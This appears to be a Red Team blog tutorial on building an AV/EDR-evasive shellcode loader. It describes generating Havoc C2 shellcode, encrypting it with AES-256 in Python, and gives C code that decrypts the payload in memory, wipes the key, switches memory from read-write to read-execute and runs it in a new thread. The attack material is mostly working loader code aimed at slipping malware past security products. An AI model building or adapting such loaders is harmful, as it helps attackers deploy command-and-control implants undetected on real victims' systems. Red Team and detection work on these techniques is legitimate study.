When developing custom loaders for Red Team operations, one of the biggest initial hurdles is static analysis. Command and Control (C2) frameworks like Havoc generate shellcode, but because these frameworks are public, their raw shellcode is heavily signatured. If you drop raw Havoc shellcode into a C executable, modern Antivirus (AV) and EDR solutions will detect it instantly.
To bypass this static detection, we must obfuscate the payload. In this post, I will try to demonstrate how to encrypt Havoc shellcode using AES-256 and decrypt it dynamically in memory.
Step 1: Generating the Raw Shellcode
First, we need to generate our raw payload through the Havoc client. Navigate to the payload generator and export a raw binary file. For this example, I saved the output as shellcode.bin.

Step 2: Encrypting the Payload (Python)
Since I didn’t embed the raw shellcode.bin into my loader, I encrypt it by using Python.
I prepared a Python script utilizing the cryptography library to apply AES-256 CBC encryption with PKCS7 padding.
You can find my encryption script here: aes_encryption.py
Running this script takes our raw shellcode.bin, encrypts it, and outputs a safe payload.bin.

The script also generates a randomized 32-byte Encryption Key and a 16-byte Initialization Vector (IV) formatted perfectly for our C code.
Step 3: Preparing the C Loader
Next, we move to our C loader project. We take the Key and IV generated by the Python script and embed them as global variables in our code:
unsigned char AesKey[] = { 0x26, 0xb1, 0x45, 0x77, 0x1e, 0x4e, 0x3e, 0x0d, 0xb7, 0xfb, 0x19, 0x0c, 0xa4, 0x89, 0x4c, 0xa9, 0x91, 0xd3, 0x22, 0x5a, 0xbf, 0x51, 0xf1, 0xb1, 0xe4, 0xc6, 0x94, 0x66, 0x45, 0x51, 0x43, 0x3f };
unsigned char AesIv[] = { 0xd8, 0xf3, 0xe0, 0x10, 0xc9, 0x52, 0x0b, 0x02, 0x5b, 0x35, 0x46, 0x87, 0x7c, 0xc0, 0xf5, 0xae };
Step 4: In-Memory Decryption Logic
To decrypt the payload at runtime without relying on heavily monitored Windows Crypto APIs, we use a custom AES implementation (like CtAes).
Here is the wrapper function used to handle the decryption. Notice that we allocate a temporary buffer for the decryption process, copy the resulting plaintext back to our primary execution memory, and then immediately free the temporary heap to avoid memory leaks:
BOOL DecryptAes(PVOID pData, SIZE_T sSize, PBYTE pKey, PBYTE pIv) {
AES256_CBC_ctx ctx = { 0 };
AES256_CBC_init(&ctx, pKey, pIv);
PBYTE pTempDecryptedBuffer = NULL;
if (!AES256_CBC_decrypt(&ctx, (unsigned char*)pData, sSize, &pTempDecryptedBuffer)) {
return FALSE;
}
memcpy(pData, pTempDecryptedBuffer, sSize);
HeapFree(GetProcessHeap(), 0, pTempDecryptedBuffer);
return TRUE;
}
Step 5: Execution
Finally, we tie it all together in our main function. Once the encrypted payload is loaded into allocated memory (e.g., fetched via HTTP or pulled from the .rsrc section), we call our DecryptAes function.
In main method, we can
printf("[*] Decrypting with AES...\n");
if (!DecryptAes(exec_mem, Size, AesKey, AesIv)) {
printf("[!] Decryption Failed!\n");
return -1;
}
// Wipe the keys from memory
RtlSecureZeroMemory(AesKey, sizeof(AesKey));
RtlSecureZeroMemory(AesIv, sizeof(AesIv));
The last two lines using RtlSecureZeroMemory are critical for operational security. Once the payload is decrypted, the AES key and IV are no longer needed.
Step 6: Memory Protections and Execution (Avoiding RWX)
Bypassing static analysis is only half the battle; we also must bypass dynamic memory scanning. If we allocate memory for our shellcode with PAGE_EXECUTE_READWRITE (RWX) permissions, modern EDRs will flag the process immediately.
To execute our decrypted payload stealthily, we use the RW -> RX pattern:
- Allocate memory as Read-Write (RW).
- Move and decrypt the payload into this memory.
- Change the permissions to Read-Execute (RX) using VirtualProtect.
- Execute the payload.
Here is the final execution block that follows our decryption step:
printf("[*] Decrypting with AES...\n");
if (!DecryptAes(exec_mem, Size, AesKey, AesIv)) {
printf("[!] Decryption Failed!\n");
return -1;
}
RtlSecureZeroMemory(AesKey, sizeof(AesKey));
RtlSecureZeroMemory(AesIv, sizeof(AesIv));
// Flip Memory Protection from RW to RX (Read-Execute)
printf("[*] Flipping memory protection to RX...\n");
DWORD oldProtect = 0;
if (!VirtualProtect(exec_mem, Size, PAGE_EXECUTE_READ, &oldProtect)) {
printf("[!] VirtualProtect Failed: %d\n", GetLastError());
return -1;
}
// Execute the Decrypted Shellcode
printf("[*] Executing Payload...\n");
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
